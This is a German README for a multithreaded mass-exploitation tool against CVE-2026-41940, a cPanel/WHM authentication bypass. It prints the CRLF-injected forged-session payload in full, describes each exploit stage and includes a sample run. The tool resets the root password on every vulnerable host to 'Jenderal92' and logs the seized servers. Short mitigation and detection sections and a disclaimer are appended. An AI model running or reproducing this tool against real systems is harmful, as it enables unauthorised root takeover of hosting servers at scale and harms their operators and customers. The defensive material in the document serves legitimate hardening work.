
Bulk-Scanner und Massen-Exploitation-Tool für CVE-2026-41940 auf cPanel/WHM, entwickelt für automatisierte Zielvalidierung und schnelle Multithread-Ausführung.
CVE-2026-41940 ist eine kritische Schwachstelle zur Authentifizierungsumgehung in WHM/cPanel, die es Angreifern ermöglicht, die Authentifizierung zu umgehen und ohne gültige Anmeldedaten Root-Zugriff auf einen Server zu erlangen. Die Schwachstelle nutzt CRLF-Injection im Sitzungsverwaltungsmechanismus aus, um bösartige Sitzungsparameter einzuschleusen.
Dieses Tool bietet Massen-Exploitation-Funktionen mit Multi-Threading-Unterstützung zum gleichzeitigen Testen mehrerer Ziele, inklusive intelligenter Erfolgserkennung und automatischer Filterung ungültiger Ziele.
| Funktion | Beschreibung |
|---|---|
| ✅ Massen-Exploitation | Scannt und exploitet mehrere Ziele aus einer Listendatei |
| 🚀 Multi-Threading | Konfigurierbare Anzahl an Threads für schnellere Scans (Standard: 15) |
| 🔐 Automatische Passwortänderung | Ändert das Root-Passwort bei erfolgreichem Exploit auf Jenderal92 |
| 🛡️ Intelligente Erfolgserkennung | Erkennt automatisch verschiedene WHM-API-Antwortformate |
| ⚠️ Lizenzfehler-Filterung | Schließt Ziele mit ungültigen/nicht lesbaren Lizenzfehlern aus |
| 📝 Strukturierte Ausgabe | Speichert nur bestätigte Erfolge im Format `domain:port |
| 🛡️ SSL/TLS-Unterstützung | Verarbeitet selbstsignierte Zertifikate automatisch |
| 🔄 Sitzungsverwaltung | Automatische Sitzungsextraktion, Cookie-Injection und Token-Verwaltung |
| ⏱️ Timeout-Steuerung | Konfigurierbarer Verbindungs-Timeout (Standard: 15 Sekunden) |
| 🔍 Vorab-Verbindungsprüfung | Prüft die Portverfügbarkeit vor dem Exploit-Versuch |
| 📊 Echtzeit-Fortschritt | Zeigt detaillierten Fortschritt für jede Exploit-Phase |
pip install requests urllib3 futures
Oder requirements.txt verwenden:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clone repository
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Install dependencies
pip install -r requirements.txt
# Make executable (Linux/Mac)
chmod +x CVE-2026-41940.py
Erstellen Sie eine Datei targets.txt mit einem Ziel pro Zeile:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Hinweis: Port
2087ist der standardmäßige WHM-Port. Wenn kein Port angegeben ist, wird automatisch Port 2087 verwendet. Ein HTTP/HTTPS-Präfix wird automatisch hinzugefügt, falls er fehlt.
python2 CVE-2026-41940.py targets.txt
# Use 5 concurrent threads
python2 CVE-2026-41940.py targets.txt --threads 5
# Use 20 threads for faster scanning
python2 CVE-2026-41940.py targets.txt --threads 20
# Override Host header for all targets
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Set timeout to 30 seconds for slow connections
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
res.txt)Nur bestätigte, erfolgreiche Exploits werden gespeichert. Ziele mit Lizenzfehlern, fehlgeschlagenen Passwortänderungen oder Verbindungsproblemen werden automatisch ausgeschlossen.
Format:
domain:port|root|Jenderal92
Beispielausgabe:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Die folgenden Ziele werden NICHT in res.txt gespeichert:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED
==================================================
[*] Checking target: 127.0.0.1
Original input: 127.0.0.1
Normalized: https://127.0.0.1:2087
Port 2087: OPEN
Testing connection... OK (HTTP 200)
[0] hostname = example.com
[1] minting a preauth session...
session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
HTTP 401, gadget fired
[4] verifying we're WHM root...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] attempting to change the root password
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!
[✓] SUCCESS & SAVED: 127.0.0.1:2087
Saved to res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4
[+] Results saved to res.txt
Successfully exploited targets (password changed to Jenderal92):
✓ 127.0.0.1:2087
Der Exploit besteht aus 4 Hauptphasen mit intelligenter Verifizierung:
[1] minting a preauth session...
/login/?login_only=1 mit ungültigen Anmeldedatenwhostmgrsession-Cookie aus der Serverantwort ab,<obhex>[2] sending the CRLF injection...
Authorization: Basic-Header, der eine bösartige Nutzlast enthältroot:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
\r\n) schleusen gefälschte Sitzungsparameter einLocation-Header, der das cp_security_token enthält[3] firing do_token_denied to propagate...
/scripts2/listaccts zudo_token_denied-Mechanismus in WHM aus[4] verifying we're WHM root...
/json-api/version zu, um den Root-Zugriff zu verifizieren/json-api/passwd auf, um das Root-Passwort auf Jenderal92 zu ändern{"metadata": {"result": 1}} (cPanel v11.118+){"status": 1} (ältere Versionen){"result": [{"status": 1}]} (Legacy-Format)Das Tool schließt automatisch aus:
{"status": 0, "statusmsg": "Cannot Read License File"}# WHM access log
/usr/local/cpanel/logs/access_log
# cPanel error log
/usr/local/cpanel/logs/error_log
# Authentication log
/var/log/secure
# System messages
/var/log/messages
WHM/cPanel unverzüglich auf die neueste gepatchte Version aktualisieren
/usr/local/cpanel/scripts/upcp
Zwei-Faktor-Authentifizierung (2FA) für alle Konten aktivieren, insbesondere für Root
WHM → Security Center → Two-Factor Authentication
WHM-Zugriff per IP-Whitelist einschränken
WHM → Security Center → Host Access Control
Zugriffslogs regelmäßig auf verdächtige Muster überwachen
tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
Alle Passwörter ändern, wenn eine Kompromittierung vermutet wird
Firewall-Regeln verwenden, um den Zugriff auf Port 2087 einzuschränken
# Allow only trusted IPs
iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 2087 -j DROP
# Or use CSF/LFD firewall
csf -a YOUR_TRUSTED_IP
WAF-Regeln implementieren, um CRLF-Injection-Versuche zu erkennen
Regelmäßige Sicherheitsüberprüfungen der WHM/cPanel-Installationen
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10
# targets.txt can contain various formats:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50
# All will be normalized automatically
python2 CVE-2026-41940.py targets.txt --threads 15
Problem: Python 3 wird anstelle von Python 2.7 verwendet
Lösung: Dieses Tool erfordert ausdrücklich Python 2.7.
# Check Python version
python2 --version # Must show Python 2.7.x
# Run with python2 explicitly
python2 CVE-2026-41940.py targets.txt
Problem: Das Ziel ist offline oder eine Firewall blockiert
Lösung:
# Test manually
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087
Problem: Das Ziel ist möglicherweise gepatcht oder führt kein WHM aus
Lösung:
https://target:2087 erreichbar istLösung: Thread-Anzahl und Timeout anpassen
# For many targets with good connectivity
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10
# For unreliable connections
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45
Hinweis: Ziele, die Cannot Read License File anzeigen, werden automatisch aus res.txt ausgeschlossen. Dies ist ein erwartetes Verhalten, da Passwortänderungen auf nicht lizenzierten WHM-Installationen nicht funktionieren.
Sie können PAYLOAD_B64 für benutzerdefinierte Sitzungsparameter ändern:
import base64
# Custom payload
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""
encoded = base64.b64encode(payload.encode())
print(encoded)
Ändern Sie das Passwort in der Funktion do_passwd() (Zeile ~280):
{"user": "root", "password": "YourCustomPassword123"}
Die Funktion do_passwd() kann geändert werden, um benutzerdefinierte WHM-Antwortformate zu erkennen:
# Add custom pattern in do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
return "success"
Beiträge sind willkommen! Bitte folgen Sie diesen Schritten:
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Wenn dieses Tool für Ihre Sicherheitsforschung nützlich ist, geben Sie ihm bitte einen ⭐ auf GitHub!
F: Kann dieses Tool erkannt werden?
A: Ja, dieses Tool hinterlässt Spuren in den WHM/cPanel-Zugriffslogs. Verwenden Sie es nur mit entsprechender Autorisierung und für legitime Sicherheitstests.
F: Wie lange dauert die Ausnutzung?
A: Ungefähr 5–15 Sekunden pro Ziel, abhängig von der Netzwerklatenz und der Antwortzeit des Servers.
F: Ist ein vorheriger Root-Zugriff erforderlich?
A: Nein, dieser Exploit funktioniert vollständig extern ohne jegliche Authentifizierung.
F: Funktioniert dieses Tool unter Windows?
A: Ja, solange Python 2.7 ordnungsgemäß installiert und konfiguriert ist.
F: Mein Ziel verwendet einen anderen Port. Was soll ich tun?
A: Geben Sie den Port in der Ziel-URL an: https://target.com:2083 für cPanel oder einen beliebigen benutzerdefinierten Port.
F: Warum werden einige Ziele nicht in res.txt gespeichert, obwohl der Exploit funktioniert hat?
A: Das Tool speichert nur Ziele, bei denen das Passwort erfolgreich geändert wurde. Ziele mit Lizenzfehlern, fehlgeschlagenen Passwortänderungen oder anderen Problemen werden ausgeschlossen, selbst wenn die Authentifizierungsumgehung erfolgreich war.
F: Welche WHM/cPanel-Versionen sind verwundbar?
A: Versionen vor dem CVE-2026-41940-Patch. Prüfen Sie das cPanel-Änderungsprotokoll (Changelog) für die gepatchte Version.
Jenderal922087 (wird automatisch verwendet, wenn nicht angegeben)res.txt gespeichertres.txt-Datei (alte Ergebnisse werden gelöscht)
Erstellt für Bildungs- und Sicherheitsforschungszwecke
Verantwortungsvoll nutzen, legal bleiben, ethisch bleiben
⚠️ KRITISCHE WARNUNG!
Dieses Tool wurde ausschließlich erstellt für:
- ✅ Bildungszwecke und Sicherheitsforschung
- ✅ Autorisierte Penetrationstests
- ✅ Sicherheitsbewertungen von Systemen, die Ihnen gehören
- ✅ Schwachstellenverifizierung mit schriftlicher Genehmigung
STRENG UNTERSAGTE Verwendungen:
- ❌ Zugriff auf Systeme ohne ausdrückliche Autorisierung
- ❌ Jede Form illegaler Aktivitäten
- ❌ Bösartige Handlungen oder das Verursachen von Schäden an Systemen
- ❌ Unautorisierter Zugriff auf beliebige Computersysteme
- ❌ Verstoß gegen lokale, staatliche oder bundesstaatliche Gesetze
Die Autoren übernehmen KEINERLEI Verantwortung oder Haftung für Missbrauch, Schäden oder Konsequenzen, die aus der Verwendung dieses Tools entstehen. Durch die Verwendung dieses Tools erklären Sie sich damit einverstanden, es nur auf Systemen zu verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Autorisierung zum Testen haben.
Wenn Sie fortfahren, bestätigen Sie, dass:
- Sie die Autorisierung haben, die Zielsysteme zu testen
- Sie die rechtlichen Konsequenzen eines unautorisierten Zugriffs verstehen
- Sie alle geltenden Gesetze und Vorschriften einhalten
- Die Autoren nicht für Ihre Handlungen verantwortlich sind
Weitere Haftungsausschlüsse finden Sie auf der Titelseite von Jenderal92. Sie können sie HIER !!! einsehen.
| Argument | Beschreibung | Standard | Erforderlich |
|---|
list_file | Datei mit der Zielliste (ein Ziel pro Zeile) | - | ✅ Ja |
--threads | Anzahl paralleler Threads | 15 | ❌ Nein |
--hostname | Host-Header für alle Ziele überschreiben | Automatisch ermitteln | ❌ Nein |
--timeout | Verbindungs-Timeout in Sekunden | 15 | ❌ Nein |
| Indikator | Beschreibung |
|---|
Anomales whostmgrsession-Cookie | Ungewöhnliche Cookie-Muster ohne ordnungsgemäße Authentifizierung |
| CRLF-Zeichen in Headern | Erkennung von \r\n-Sequenzen in HTTP-Headern |
/scripts2/listaccts-Zugriff | Unautorisierter Zugriff auf diesen Pfad |
Passwort Jenderal92 | Erfolgreiche Anmeldung mit diesem spezifischen Passwort |
cpsess-Token-Leck | Sicherheits-Token sichtbar im Location-Header |
| Fehlgeschlagene Anmeldung gefolgt von Erfolg | POST an /login/?login_only=1 mit falschem Passwort, danach privilegierter Zugriff |